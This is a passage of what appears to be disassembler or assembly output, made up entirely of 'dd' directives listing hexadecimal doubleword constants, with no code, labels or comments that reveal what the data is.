		dd 3E41325Ah, 57F47200h, 0F650B0DAh, 9CFC0253h,	0D23B39F1h
		dd 1FE6F0C0h, 8EF6BFB0h, 773C84B1h, 6000C0F4h, 0A462303Bh
		dd 610D28E6h, 3D0521E0h, 68239Dh, 0E8BD6EEh, 90D46624h
		dd 20DF013Ch, 0FF7095Fh, 0E79440C3h, 0A80A700Dh, 50536945h
		dd 0BD980E05h, 765CCCh,	7845544Fh, 0E3A3AB56h, 0FC5D4B00h
		dd 27B72A7h, 0F817260Eh, 0BEE20CD0h, 694CFE58h,	4D0D0A4h
		dd 0F43C2449h, 74E018C8h, 0F5F7002Ch, 0D5FCB27Ah, 900E345h
		dd 855E93DFh, 11A3FE97h, 240EEA26h, 4C403CCDh, 1CDF42h
		dd 19E79F8Bh, 8378EE85h, 0E315914h, 0DA82C0D4h,	3B401935h
		dd 8700CDD9h, 1EA0E6Dh,	1D1216D1h, 0F088630Fh, 0AD8D3842h
		dd 3A4E0D00h, 0A0C1CFBCh, 0DB6AE416h, 5B20E020h, 534C2667h
		dd 4041184h, 0EADB3BB4h, 95F467C0h, 0BEBF28C2h,	0AE8F02E4h
		dd 76C00D98h, 7D8A6CE0h, 81A4EE0Bh, 0C3F099DBh,	0B691ED8h
		dd 536DE222h, 9051E892h, 3C4C803Bh, 30A8216Ch, 7E7500C5h
		dd 0A326319Ah, 8A7E4E45h, 48685E64h, 8873E305h,	0FE004CD8h
		dd 77B41D67h, 2EF531h, 14F099A1h, 20CADB6Ch, 90E03Eh, 0F767D057h
		dd 0C77BBBC5h, 849CD479h, 9568C83Fh, 0E5267D0Eh, 0F90C8073h
		dd 0EA631EBFh, 10812CC0h, 0D6112Ch, 4C07F4A0h, 17F2819h
		dd 5354139Ah, 222F6D75h, 0BD047934h, 0CA20BA99h, 2006F8C2h
		dd 728C4A0Bh, 24927A01h, 81FC5763h, 2060D9CDh, 0B1CE88DDh
		dd 0AD5F31C0h, 9A0427h,	0E8757C81h, 2F1EAEE5h, 44132500h
		dd 3EF46D78h, 24EE5CC5h, 0A0D054h, 9650FCA4h, 6ABE6D1Ah
		dd 0DF4BD3FCh, 0A6B10470h, 0F31A0037h, 0C20DC4A0h, 66005726h
		dd 9715F217h, 1CBA10Ch,	0D7AA0744h, 0FBD25616h,	8EB97798h
		dd 2405D42Eh, 3685A404h, 9B1CD0A2h, 0AF3700DBh,	0E89F0D03h
		dd 22953400h, 56B7A00Ch, 8F30B1CCh, 316FBA80h, 0C0724104h
		dd 0C03297ACh, 0C4500E3Ah, 0F38C0258h, 0DCBD5695h, 0DE004852h
		dd 8EA355CCh, 1873D62Dh, 0D9C85B26h, 0D963B4C4h, 69EF29h
		dd 5977A149h, 7A2F704Dh, 0A3A5C509h, 3C640731h,	0DA0D2611h
		dd 34022054h, 0A4D61328h, 1021610Ch, 0F5A908CCh, 0E052EF12h
		dd 4A8E7C00h, 121A0EAh,	0E4DC058Ch, 0C316657Ah,	9D01F0Ch
		dd 4CB89D54h, 0E4754428h, 8F78A00Ch, 3BA59D0h, 2A871FFDh
		dd 0E5B091F3h, 0B200D626h, 0FE7D4BBDh, 0E26DBEF7h, 0D531C144h
		dd 51E928F8h, 14D98558h, 18854CCh, 2622658h, 60FB3B37h
		dd 0A71D82C7h, 0D3532F01h, 10B47409h, 2CEF988Ch, 1C9480DEh
		dd 0AA69302Dh, 413298Eh, 0C48026DBh, 7534F3Fh, 0C1E899E2h
		dd 87A7F595h, 0C02D94E4h, 6CA3F318h, 4900A498h,	0FA81C957h
		dd 929CE6Eh
		dd 500C7061h, 0A40A54C5h, 2F00944Bh, 0FDD320Eh,	0D5E272h
		dd 8A09CF0Ah, 6B92B89Eh, 62455700h, 71E61473h, 5B7A287Eh
		dd 30594BA8h, 869B2770h, 56687203h, 0C8705553h,	5C4AFFB2h
		dd 7180C8CEh, 6CDC62E8h, 8000337Dh, 117F64E4h, 0E3E54E1h
		dd 0C4357AECh, 0F0E5D83h, 1A1C4BC0h, 8F7412FAh,	0E6AA1B09h
		dd 3D7C648Eh, 3580A49Fh, 0FFD107F8h, 6618E944h,	0A5713645h
		dd 0CB710984h, 50E8F43Eh, 0BA77158Eh, 852DED00h, 5EEC45E6h
		dd 29C60025h, 0FF4D1A5Bh, 0E496A50Eh, 4871649Dh, 94303909h
		dd 0AAF6022Dh, 8EC51ED2h, 783C4C44h, 0C9A81837h, 3A7F7111h
		dd 7C4C27C1h, 466020Ch,	4848B968h, 576F0045h, 691F5491h
		dd 83FC9C44h, 6A0C00Eh,	0B4514EA2h, 5226F63Ah, 5308A81Ch
		dd 7E770EB6h, 2244EC02h, 388EDC60h, 45635913h, 3B3D1420h
		dd 0B33A0027h, 0AE74CF93h, 5400F4B1h, 2E94628Bh, 300A92B6h
		dd 9A316CEEh, 963EC0A1h, 8261BEE3h, 0C28A4727h,	85CC8E86h
		dd 688D08D1h, 17294BF8h, 0A4C94Fh, 0F149FC74h, 7F036F5Eh
		dd 0F4FD4641h, 0BF86D128h, 78DC5021h, 0D4761FF8h, 0D5D4FA5h
		dd 0EE3BB922h, 593ACC90h, 0F68F0A02h, 82CA8549h, 255EA9B0h
		dd 9B00C8EEh, 36E84A00h, 6ADD22B0h, 0F79A0090h,	63D10208h
		dd 40118E7h, 5C37BDABh,	8C606A66h, 560E883Bh, 378434B4h
		dd 98824380h, 8C4CFh, 938F53BCh, 6062D10Bh, 51B60300h
		dd 899972B2h, 94D2009Fh, 980D7810h, 4C01EC4Ah, 685921B3h
		dd 0A872EF26h, 0B4DD7776h, 66380B0h, 8C2AF896h,	10FB0D27h
		dd 0EE6957B4h, 0DA631817h, 25A4E9DBh, 26728F00h, 2769A0CAh
		dd 0C2500064h, 37949A9Ch, 3A00D83Dh, 49C8BFCCh,	97E2955h
		dd 0DB33DEA5h, 30319C41h, 3500F6A4h, 561047F9h,	26C5FA90h
		dd 1218B2E3h, 0D4140767h, 0CCD14471h, 970012A8h, 94B399BFh
		dd 7C683C0Fh, 0F4742CF5h, 0C76E0FA0h, 1492A501h, 544892B3h
		dd 8EFA3C04h, 31B48E4h,	0A1940517h, 0A4E53F2Ch,	9700BEC8h
		dd 6D1FC06Ch, 94CC20h, 0B9BA3905h, 0FFE9F3D5h, 3C640C38h
		dd 0C8A90057h, 0B7567504h, 1DAA139Ah, 7A0804C0h, 95248314h
		dd 6179A790h, 0A00F2B06h, 1C1AEEDh, 807B8CCCh, 2092865Ch
		dd 0C60F60BCh, 323C3664h, 0E5417437h, 3060F28Fh, 26350031h
		dd 0C5929F30h, 40B4894h, 0F53EF69h, 54DB64F4h, 0E09CB890h
		dd 0C47F005Bh, 0FA5AC01Eh, 0D8FFAE6Bh, 4C1256C2h, 0BCC8BEA8h
		dd 44EF0009h, 0F452B85Eh, 73002C25h, 16405767h,	202BCA8h
		dd 4F3E8556h, 404692B0h, 8C1E96E6h, 9F931A30h, 0EC2C600h
		dd 43DD2Fh, 80B2768Eh, 28F53D6Dh, 0E020155Eh, 608E1F5Eh
		dd 722D11C5h, 0EC00BEF9h, 91EDD3EAh, 31A3BD4h, 6D636FC9h
		dd 712FB456h, 76EC21DBh, 92E8228Eh, 95B78B5h, 0F80545A2h
		dd 0A6ED78Ah, 0F81D78h,	0EAA0588Ch, 94EAF03h, 96C30008h
		dd 0F1490CEh, 5A002B40h, 5FC9AA91h, 1F8892Ch, 0DB81887h
		dd 8029DB75h, 315DB379h, 38886B6Eh, 8A00462Ah, 0FEEA95Eh
		dd 0FA05B4F7h, 7A299CCCh, 18D7050h, 0FE0395Fh, 0DE707B87h
		dd 183428F7h, 91EB05D0h, 4090EDABh, 33C5AF8h, 0CC01F5C2h
		dd 0F4C7AC58h, 0C426510Eh, 0E87EBD3Eh, 8E680044h, 61287526h
		dd 91DA7Eh, 0B70ED900h,	2C1AE7h, 0CAF1E67h, 0FD3BA9D2h
		dd 725C7F00h, 29F64DE2h, 167C912Eh, 0C27C20CDh,	0F0003ADCh
		dd 89377239h, 481E9F0Bh, 9726A408h, 0A06900B0h,	5BF75EC5h
		dd 2E029000h, 0EAB4C77Dh, 0FFE4CEh, 4D57BF9Eh, 0B8F6EFBAh
		dd 0A7FA7177h, 1D3BEE00h, 3FFAD512h, 73D10538h,	88F454B5h
		dd 0E43C9FCCh, 89E100FBh, 75577874h, 0BD9E1883h, 3C97E9A7h
		dd 0C551E20Bh, 0B49ABCh, 0BB6AD320h, 0C5951712h, 6D9CCC8Dh
		dd 0C970124h, 0EB235D02h, 0B894C0F6h, 0C45406BCh, 28C33D67h
		dd 8A1DE0EAh, 93DEA60h,	1028CF6Fh, 0E9ADFD78h, 34319FE9h
		dd 0CBB6EE4h, 8D450FF5h, 2A013A81h, 68CAC3EDh, 2EC4BD76h
		dd 4070EB1Dh, 366E09D0h, 649AE6CFh, 0BB0B0A40h,	74F27E00h
		dd 38A694DDh, 7CF74C4Ch, 0F5A49E3Bh, 86610B5Ch,	0B6079444h
		dd 0AF7E8741h, 0F0DDAE33h, 27AAF777h, 0A420708Dh, 0C34E07FEh
		dd 65807603h, 0D11726A3h, 2B10C68Eh, 0F73CCE52h, 376C0079h
		dd 0ADED3596h, 0E6540098h, 84F93EAEh, 75EAE7B6h, 4058E490h
		dd 0F8F70B40h, 57B4E8EFh, 41BB00CCh, 7211757Fh,	6404FF8Eh
		dd 82C517D2h, 867890A2h, 4AC03042h, 220903CBh, 90B84800h
		dd 27E33FF7h, 5178035Bh, 3EDE9455h, 2D596981h, 0C43851ACh
		dd 7A186F97h, 3661AF8Fh, 56640076h, 0C603F741h,	8A00B4FCh
		dd 556D7125h, 907609C7h, 3D870B24h, 5C6168E2h, 2805D325h
		dd 75527A9Eh, 2A45F002h, 6FB478D9h, 4A202038h, 7D6F54F8h
		dd 263DB00Eh, 4D0DA579h, 0FFF380D8h, 0CF27A30h,	262F6D64h
		dd 24F5DCB1h, 0F00D4D0h, 7DA65069h, 1EE8CF37h, 508F4D3h
		dd 20DC1774h, 5D3124F4h, 0DBE5FB00h, 144832A1h,	0B0C80457h
		dd 0C0569B38h, 0D40C70FCh, 301740A1h, 1603F67Ch, 81FC54F7h
		dd 0B056DF85h, 9473FCC8h, 175D8748h, 0E604E034h, 0DA002B5Ch
		dd 167DDD11h, 943837CDh, 13BE60FCh, 60182418h, 4A41AD70h
		dd 0C74802BAh, 167886D3h, 24009446h, 35D5687h, 0A23A7D70h
		dd 0D43C9883h, 83F90038h, 2DBE064Fh, 50021E48h,	106F3EDBh
		dd 1879D3h, 0F3F1C98Eh,	160611Ah, 6D0A8AC0h, 5E400A8h
		dd 0F4782F3Dh, 73E45F3Fh, 7A2D4CA0h, 71DD404h, 98C0D17Dh
		dd 24E8FB45h, 413CA8C5h, 0CC59C9C3h, 0C4608F9Fh, 6942E239h
		dd 0A9370113h, 8A8CC197h, 7CABF44Fh, 7098B4A1h,	10959AA4h
		dd 1F9614h, 0F5B172D2h,	0A50EBDF8h, 0C22C9895h,	0C6B7EF0h
		dd 0CB7320A9h, 7A076569h, 5EC39926h, 0B5A03710h, 72180BC2h
		dd 0C490D30Ch, 0D0BC6066h, 8C84FF69h, 9E98A446h, 6EBD203h
		dd 0C8A97B1Fh, 1FC57E8Dh, 5FD8247h, 0C0114995h,	7D47D0Ch
		dd 90952777h, 4AC00EACh, 591C88A5h, 540839h, 0F746E6Fh
		dd 3C183A3h, 0DAF78668h, 2B82BFD5h, 5600B0D9h, 0D90AF3C0h
		dd 6CD2030Dh, 0A71E9C9Eh, 0BFDB51B9h, 0DA699269h, 98A27820h
		dd 0D3C0040h, 7F3B2B9Dh, 6B04A4E9h, 0EA529EBh, 0D5951180h
		dd 12F4749Eh, 0B0017AFDh, 0B6256F00h, 373820DBh, 106A61h
		dd 64760ADh, 7EA45AF6h,	2089B800h, 2B2D3A49h, 94C0188Ch
		dd 0CE55E809h, 0BC950084h, 6B927C5Ch, 3B2CF8EFh, 7B1D9266h
		dd 0A986EC80h, 0A3CE8D36h, 0A0C7E874h, 0E1B8C0BDh, 0D0CC6AF9h
		dd 84A44B01h, 633D1496h, 2CE14002h, 5D5812E0h, 0D01C44FEh
		dd 143EF0C4h, 0A9089780h, 3D6904E4h, 0F4EA270Ah, 0B160CD50h
		dd 26794C71h, 0E578002Ch, 0FC06392Ah, 0CFA0897Dh, 0F801B9B6h
		dd 3ED0277Bh, 0F432EC26h, 40BCCE24h, 2DFECAFBh,	0EBD13403h
		dd 243CA974h, 2604170h,	84C00D6Dh, 7C26E0C1h, 90F82D48h
		dd 2EBBCh, 0E23F0B3Eh, 1269EE8Dh, 8357983Eh, 0AA7932D8h
		dd 0F63CC0D5h, 0EC2A54DCh, 0E8E33E73h, 0C921EA00h, 35D0825Ch
		dd 3600F8F8h, 0B1BF7A57h, 1562899h, 0CB76378Eh,	32AAC594h
		dd 80BF012Ch, 73396311h, 6DE723FAh, 7E0AC0F0h, 76541D01h
		dd 15C3FC5Ch, 89C48470h, 8C3D70h, 0B30D1B93h, 357A9Fh
		dd 543B9A4h, 0C0827F07h, 0CF16FD98h, 0FC0080D5h, 0BBC56A42h
		dd 77C1C237h, 28C42E6Dh, 0E040DC4Bh, 123F1B41h,	0E10B2E3Bh
		dd 6B730377h, 75F09BC2h
		dd 38268362h, 0E368D411h, 1274CF00h, 2484E93Dh,	0FC35C9h
		dd 5568608Ch, 0D8B89722h, 8E41605h, 0F8C8F450h,	9CC1DC9h
		dd 42AC1DFFh, 747C0ABAh, 60003471h, 2484AE30h, 713D90C4h
		dd 980E0B1Dh, 0C8811E82h, 6045589Ch, 0DB5A97BEh, 0E8775447h
		dd 7ABEE7D0h, 7699295Eh, 0D0D287F4h, 9C801137h,	2FC6DC39h
		dd 3840454Bh, 0F1363D1h, 0DD9F00C0h, 27785453h,	0EC58D823h
		dd 816C5CC0h, 6A80A6E6h, 0E72D660h, 923A2CBCh, 0BBD9403Dh
		dd 8E9AF27Ch, 0BF4B200h, 403C5776h, 0DF1904BFh,	0B239C3AAh
		dd 0BDA70024h, 0BC962F0Dh, 0BA740192h, 0C7610AD9h, 0B1B2D8EEh
		dd 5C70D02Ch, 38FCFF40h, 911700BBh, 72376151h, 7CB4691Eh
		dd 0D010F40h, 401896A0h, 0F6386215h, 6A5C9A00h,	0A0E608E2h
		dd 0FAED023Ch, 21ACDF03h, 187C7066h, 8F69A00h, 2A0E2F5Ch
		dd 49E829D1h, 37F780B0h, 53BA7540h, 7002A700h, 0E42A9E57h
		dd 3C7136h, 0A96D5BFDh,	0EF7F48Fh, 0EC90A826h, 83203664h
		dd 84E8E0E9h, 0A89C0C02h, 80D92BF0h, 0F45726ECh, 0A9A309FBh
		dd 0A07167B1h, 9A7F3400h, 2C48B16h, 0ADE3DF56h,	5C661CAAh
		dd 0F300CBF8h, 0ABCD172h, 3A4FDBD3h, 0C0797AAFh, 49F055C1h
		dd 5900A032h, 391A53F5h, 3C65CB88h, 0BE01BC37h,	9C54F6EDh
		dd 47C4301Ch, 0A5F96804h, 26C0E896h, 0E459F4BFh, 0B71784Eh
		dd 7EDE5CF1h, 0C2509007h, 7CD10C1Ch, 2EE12707h,	9D4D8CE0h
		dd 0A71A2CBBh, 17E826D0h, 8AE817FDh, 1AE40004h,	7C179AE6h
		dd 2588008Eh, 0A2D15536h, 4709CCC2h, 84F26A0Eh,	0A4BCBDF0h
		dd 98D09060h, 0CF0190E7h, 8E9E3673h, 0CC321426h, 71D63209h
		dd 390E9DD4h, 882DCA0Dh, 0E3826942h, 0BF7DD062h, 0D41D0A98h
		dd 10DC1Eh, 8A2103FEh, 0F648FB28h, 7F65C3FCh, 0B3B1D049h
		dd 0A4820F6Bh, 24D7C524h, 0C978E834h, 67005D86h, 1364A2E9h
		dd 40C0E25Bh, 4B26A4FBh, 7A188810h, 57596A03h, 8F6F4B20h
		dd 2093EFF2h, 1445EB39h, 62342705h, 0ACC87336h,	4997003Bh
		dd 0EFD9109Bh, 0EC00CF9Eh, 0C51F9855h, 0A608386Ah, 74F700B0h
		dd 5EB46387h, 5400518Fh, 0BB9C10A4h, 167AE25h, 0B22B0592h
		dd 201D63F7h, 472E2350h, 0BF0E283Dh, 0A618EA8h,	0CF00A887h
		dd 95F70CDBh, 0A72E25DFh, 361BA400h, 0D4828E2h,	10CD8B04h
		dd 0BAED454h, 9EE775ADh, 0C8E6ECA2h, 8C2EC858h,	1D00F23Ah
		dd 2E965763h, 4790FCDh,	28A59214h, 2FE82012h, 0E00D6C7h
		dd 67D2943Fh, 2C271D95h, 12748879h, 7540E26Eh, 0BEC3CA0Fh
		dd 0E77280A7h, 16CC5Ch,	0C64C64CFh, 5826AA7Fh, 0C459AE62h
		dd 800C54BCh, 723F8407h, 0B10F8D26h, 29FC784Bh,	5C64CBh
		dd 8B518A01h, 0B1668569h, 8302CC77h, 0CB3FF4E1h, 0B0DC4688h
		dd 96F8CEh, 9D481D24h, 6DABD1FFh, 75BD3D0Ah, 1F0B9CA6h
		dd 6F220079h, 582C6E57h, 0F072E047h, 7D76007Ch,	33489956h
		dd 5899FD26h, 4F188780h, 754061A9h, 969202ECh, 55DA41EBh
		dd 5E581F20h, 0BEA9823h, 0D8B5614h, 74C408h, 0C0984D4h
		dd 58057406h, 4C6D9EF5h, 3DB3F4B4h, 0A5A7CDE3h,	6316BC07h
		dd 9AE18710h, 0C6A64223h, 5240C856h, 439ED6h, 5710E540h
		dd 0D4023DA1h, 2705FE00h, 264D58CCh, 82ECBC5Bh,	891CB3F5h
		dd 0BA00BCF1h, 75152AB4h, 0AEF60499h, 843764DFh, 5E8B3ACh
		dd 146ED86h, 921EECA0h,	96A0418h, 0A48E9F53h, 0B200C1ECh
		dd 2F6F3CC6h, 1CE72D0h,	0FFB589C5h, 341E9E16h, 0EC743B44h
		dd 8C225928h, 603A6145h, 0C473D3ECh, 190D1D3Eh,	0CD19CA36h
		dd 4C20402Eh, 0F296023Fh, 0C1498603h, 0A0ED25BCh, 0FADA9B03h
		dd 58AE901Fh, 854E801Dh, 56D0811Ch, 0EC612FB4h,	1C33C1B2h
		dd 822A4400h, 5FEEFE83h, 0F8959900h, 0E63E1677h, 0DEF2008Eh
		dd 0F47D6D0Bh, 0C13D2D03h, 64C8CAC5h, 2224276Bh, 710AF061h
		dd 0F01E3AEBh, 8437A740h, 0F04398h, 0B187DE3Bh,	0DA01473h
		dd 0E4434E4Ah, 82598C11h, 3CB480A3h, 13CC95F4h,	0A5626C0Eh
		dd 92B46C3Ch, 52070A0Eh, 0E4E05018h, 0BC952E69h, 0AAE66030h
		dd 4487B23h, 13A300CCh,	540B4E66h, 0FCA40B3Fh, 7C04C09Fh
		dd 0FFE8E473h, 90C36E03h, 0A8AB5BFEh, 0F6B272h,	5839ECD1h
		dd 0EBA97710h, 0AC2D692Ch, 52A69760h, 128B14B3h, 8F2EB6B5h
		dd 4ED0405Ch, 0F3004DE6h, 129E09B1h, 1548930h, 0A31B0638h
		dd 3DED4459h, 5CA40070h, 0C1FC3A8Dh, 61210218h,	0EF28FD49h
		dd 0E58268D9h, 0D2BBC51Ch, 1084C0h, 0A6F7AAF3h,	6D634C58h
		dd 9CCC534Fh, 85C51084h, 0EE330C5Dh, 46679C2h, 0FE4840C8h
		dd 250FAAAAh, 3C444434h, 39753FC0h, 18009D24h, 69414A6Dh
		dd 59C04B70h, 599AB904h, 6127002Ah, 5097A490h, 22E70D34h
		dd 0C0A85800h, 0F65975D4h, 0C260007Eh, 1016F84Ch, 0AA3BCD13h
		dd 0D0C84A1Fh, 9C771EB3h, 0D1100080h, 0F46EF815h, 0A70054B8h
		dd 46909466h, 280D549Bh, 2E64D9A9h, 1F1A4C95h, 90A51668h
		dd 0E26458D4h, 0E9204D03h, 0E85CE3B4h, 901627A1h, 3BE60134h
		dd 0A3FDA9F6h, 3023F7h,	0BD82EA8Ch, 131FA726h, 4A6DC503h
		dd 0C0B817FCh, 0EF6A7FEh, 74385754h, 72366C0Fh,	279880F0h
		dd 9EDB4F7h, 0C7332D07h, 4ED4C480h, 0C305199Ch,	0DB6AD680h
		dd 0A98E830h, 0D05F1C5Ch, 8CA60112h, 60560CBEh,	9F120BE1h
		dd 94F4606Dh, 0B9FB340Eh, 0E210C438h, 95530168h, 9B544D1Bh
		dd 620F4823h, 0F0E00975h, 2B1964F1h, 7B637407h,	0B08A82C5h
		dd 0FD4CF63Bh, 29510050h, 37D0DB56h, 0C8BA583Ch, 0C8443817h
		dd 5200D82Ch, 0A22C1CDEh, 298577Eh, 6A553C88h, 0C872DB5Dh
		dd 2FC6F50Eh, 1DD8FB5h,	0CF062518h, 265298C7h, 9CE200A4h
		dd 11700CF6h, 0F448536Eh, 0AE82804Ch, 267E13h, 0C7165EA8h
		dd 8D84359Dh, 62776D00h, 136AE40Ch, 0A0939D05h,	83F403C4h
		dd 0ADA8C02Dh, 635001AAh, 87BBF93h, 5524FCA5h, 7E9778C1h
		dd 0FA8B1DB3h, 0ECA02977h, 74A06128h, 0B910E8h,	577780B8h
		dd 0AA0FFF79h, 5AEBE4AFh, 0BC442036h, 0A932815Eh, 0D63CC81Dh
		dd 0D468204h, 0B07A4C6Ch, 7F19B0B4h, 2C392E08h,	0D4E8CD25h
		dd 4F052F1Bh, 501DA0B8h, 5546D480h, 1C3C5CA1h, 0F304E222h
		dd 0CE1AC579h, 0B48CC8h, 1719FD7Eh, 0FE1DFA2Ah,	4CE8BB50h
		dd 1E0D0E18h, 9135F2F8h, 0B8A68070h, 2809DCB0h,	8499E264h
		dd 2F93A882h, 0C09E2100h, 0E11F737h, 66139056h,	9280302Fh
		dd 0B301CD98h, 245634ECh, 203BA097h, 0EBA6C18h,	84EBE400h
		dd 5DBBF0F1h, 0A52C4C54h, 90C88F27h, 52133847h,	0CC1450E5h
		dd 0E45B248Ch, 46A88500h, 1E5726C8h, 1AC5059Dh,	0FC5CC15Fh
		dd 0C25AC04Fh, 0CECBAh,	0E41C67C8h, 6A03E255h, 809D9A79h
		dd 1D5A1689h, 0B75702DEh, 0B37590C7h, 0DBE154A0h, 1000719Bh
		dd 14FAD2A6h, 2C4A0A82h, 5441398h, 888FB662h, 360244D0h
		dd 2749F3C5h, 1D0E4EEh,	0FE63A52Eh, 0F0B0241Fh,	950921A9h
		dd 827A36C9h, 59AE749Fh, 89013F8Ch, 0BF055A9Ch,	5DA441F6h
		dd 73804094h, 7770CF04h, 5C406AE7h, 799821ACh, 342A00F9h
		dd 0B8D6075Eh, 2EFDCD37h, 86E32400h, 0A44F0ED3h, 2B086D4h
		dd 9330C448h, 879AA2Bh,	7035D400h, 1297DFh, 0ECB49DB8h
		dd 6380FCA5h, 0DA8020EBh, 9DB3C488h, 0C124C11h,	378D015Eh
		dd 0CB06BE64h, 44006B10h, 4D2B4CF5h, 50E458B5h,	0DBF8B622h
		dd 0A180E89Eh, 10D7897h, 0B26B4CAEh, 0D9F27D02h, 34D11E45h
		dd 0E1053F0Fh, 37632003h
		dd 25D891F2h, 7678E270h, 810B0011h, 0E32451DDh,	0B098A48Fh
		dd 70814C4Eh, 28324539h, 4623800h, 7ACE9C9Bh, 0E2F6A300h
		dd 91D47CA8h, 0D9CB01CCh, 0C644DB63h, 5D3442CFh, 25CDF960h
		dd 8CED800h, 13ED7FB8h,	807B5BE4h, 29F4EBACh, 585D2D0Fh
		dd 53F5608Ch, 9628E3C6h, 0A484C0B4h, 2195DC1Eh,	7B5E07F0h
		dd 0A70BE4h, 5F18AD32h,	0BDD8BACEh, 0F248C57Eh,	0C3D00AE0h
		dd 0B5834878h, 908EEDEEh, 0F51C40Fh, 0E7C0981Ah, 7411DFC0h
		dd 83974D0Ah, 0C88D5AA4h, 608F64F8h, 71289AEh, 0AC00A0CAh
		dd 57D6D432h, 0BB6FC7Ah, 3629F978h, 0C0AC7CD9h,	0BA395902h
		dd 0D608C0B2h, 145F08Dh, 0DD2838B9h, 21A76315h,	0DA92C858h
		dd 0B378109Dh, 0AC6D0069h, 830CF5F8h, 0AB1E50D9h, 46EF101Ah
		dd 38D89868h, 32139F69h, 7F64F24Fh, 163CC200h, 1CB74213h
		dd 859A00CAh, 0E0CED943h, 0F2046D2Ah, 0C40D2889h, 4E3C115Fh
		dd 8FD29CC0h, 147B0027h, 8EE497B4h, 10130A1Bh, 8022DA67h
		dd 0C19CE0C8h, 456D2656h, 814B40D0h, 9700BB1Fh,	51895779h
		dd 0BAD61842h, 207E4BA0h, 0ACF5D374h, 48701401h, 0ED59160Dh
		dd 0C7CACC70h, 21505721h, 2046E23Dh, 704CC414h,	0DBA18120h
		dd 68965CDFh, 6C5CA09Eh, 0B3C54012h, 86EA08C8h,	8B5D633Ch
		dd 871E606h, 0A704BC30h, 2DC31F0Ah, 466B879h, 5CECB059h
		dd 0CBC0A4BFh, 0BEB8413Eh, 2B9CD007h, 9AB4BDA4h, 7280A0ECh
		dd 1E2C98A8h, 84FB1700h, 1B3FF4FFh, 455CB010h, 3D5C4CB1h
		dd 0AD0DE0F9h, 47556801h, 0BED959F9h, 0E88310F1h, 0B55667D2h
		dd 0C06C3958h, 0AF2B4EFFh, 407E002Ch, 55EB9EDEh, 21C4D30Dh
		dd 0FC8C16D7h, 2C06001Eh, 11A099C0h, 72173C84h,	4B64C6Dh
		dd 0BFCE11h, 9FD2EEBBh,	0C31235h, 0A8F549C7h, 1DC10765h
		dd 14409097h, 7DC80060h, 3C47182Eh, 2758A664h, 0A3020294h
		dd 5E68CFEFh, 967E40DCh, 9A047F2Ch, 0CB715124h,	6548E640h
		dd 0B2582A9Ch, 7D970066h, 3EB88536h, 58010076h,	0CF7E71C2h
		dd 0A001E279h, 850E4A6Ah, 10809EDAh, 13064BECh,	96794930h
		dd 7BB9EB0Fh, 4CECF411h, 29F2048Eh, 98CC8979h, 1C67C8Dh
		dd 0F902E650h, 0C8D13B76h, 50B036D6h, 69474808h, 8AA461h
		dd 3859BF76h, 0F30B7E6Dh, 0D023EB2Bh, 670D0520h, 888E0C52h
		dd 1D04A710h, 3EE7DCBCh, 53F7E0C0h, 82360075h, 277E76ECh
		dd 0DB7C15D4h, 0A42D24B8h, 31E460FBh, 17261934h, 207249D6h
		dd 592F47C0h, 11780ED5h, 0E09F7116h, 0F4A19C04h, 0C1C31027h
		dd 7FB7CFAh, 20FCA8Bh, 5A6B506Dh, 5807928Ch, 0CD5BE25Ch
		dd 0D9169ED2h, 0E07700E4h, 76273735h, 9628C800h, 0B2D88D55h
		dd 7E953B38h, 6F589000h, 0F282A169h, 6D9C5409h,	681653h
		dd 363FCB70h, 1C593773h, 288FFD02h, 6011B327h, 1C5BFAC4h
		dd 6CD085h, 0C0A90EAEh,	820EEBD6h, 84FB2519h, 54802BB9h
		dd 0EE758A8Eh, 3AA50091h, 111D4E88h, 0E8001BC3h, 4D666BD5h
		dd 6DC872h, 3674C6E9h, 928DE65Ch, 7A551B18h, 3F01EB48h
		dd 7F6F7AAh, 8D7D4CCEh,	478B405Ah, 78C02281h, 6BF5FBB9h
		dd 0C1960359h, 0E4253918h, 5B0D8900h, 20C358A0h, 74050084h
		dd 0D6F777D1h, 376055D2h, 92724941h, 1103607Dh,	0E804F7C6h
		dd 757A3Fh, 0AC65AF18h,	3A934235h, 0A13E1E76h, 7CC02B01h
		dd 0D0DBF62Eh, 12065E8Dh, 2C679F8Bh, 33630048h,	0E8CF84A4h
		dd 3103269Ch, 5925D2B6h, 6A65A0BCh, 1A82004Dh, 0BD84DA1Fh
		dd 7A0F76CFh, 36B53Dh, 0A9CA1ED8h, 51C9619Ah, 0C05A24ABh
		dd 920034B2h, 8B0C96ADh, 0A121262Fh, 2DD07EFEh,	5F130E67h
		dd 395853D6h, 6A05DA04h, 0E32538ADh, 3D368C40h,	0ABB3AE9h
		dd 3966F51h, 9D7E40B8h,	12036324h, 99A5B164h, 0B49009Fh
		dd 0F7C5CD54h, 910C71AAh, 51D88367h, 0EB10C072h, 42C67E29h
		dd 184835F0h, 744C008h,	0E23C7343h, 308EE3Ah, 0AE6A37CDh
		dd 84887D61h, 1800E0BAh, 2B6FD3A8h, 0CF42694h, 999F89C3h
		dd 813E2781h, 0D58A87F5h, 0CCFA396Ah, 0BD6FD200h, 504406Bh
		dd 80B88BCAh, 8CE4471Bh, 0CEEE3058h, 8400EAABh,	471DDDE7h
		dd 1777B62h, 3DDAF556h,	48045F50h, 5B00F780h, 4A8555C7h
		dd 621D160h, 0D31B7D18h, 0B9018903h, 80DF934Ch,	20805C2Dh
		dd 38FA08ACh, 0F1C0DD24h, 0E3CE700Dh, 39E775B0h, 122EC515h
		dd 9CF90C1Bh, 0AD0AFB49h, 0CC528508h, 47327160h, 6FD70E6Bh
		dd 0A7207C20h, 9943C88Eh, 2D398360h, 1B30C80h, 16FAF05Ah
		dd 0D9D732B1h, 87218064h, 0BCB4954h, 75020EC7h,	0C35FB2AFh
		dd 0FCD5BC1Fh, 0F0F02996h, 1CD18A12h, 9DAB8420h, 24391863h
		dd 0DEDD91FCh, 6C539B00h, 9894C8F7h, 3EA10061h,	0E9BED5A9h
		dd 283C7F5Ah, 0E0993E4Bh, 479F5259h, 0AB7113FEh, 9BD006Ch
		dd 2510DF7Eh, 4D0090A4h, 0C6233C4Eh, 12ADFAD8h,	3145EE0Dh
		dd 60DB90DCh, 0B7019F62h, 8DA0E90Bh, 0B704296h,	6AF41F85h
		dd 0B4790EE6h, 599437A0h, 76000ED8h, 7D21A56Bh,	0F847F8B3h
		dd 0EACB002Fh, 1B3265ADh, 7CE09073h, 687D1C01h,	90475AEh
		dd 864FFC50h, 6A0A3F48h, 0D5A83B80h, 0CEAEF0F3h, 737DFC7Dh
		dd 31F4D8A1h, 4588923Eh, 43DCA201h, 0A0502681h,	0BE0304h
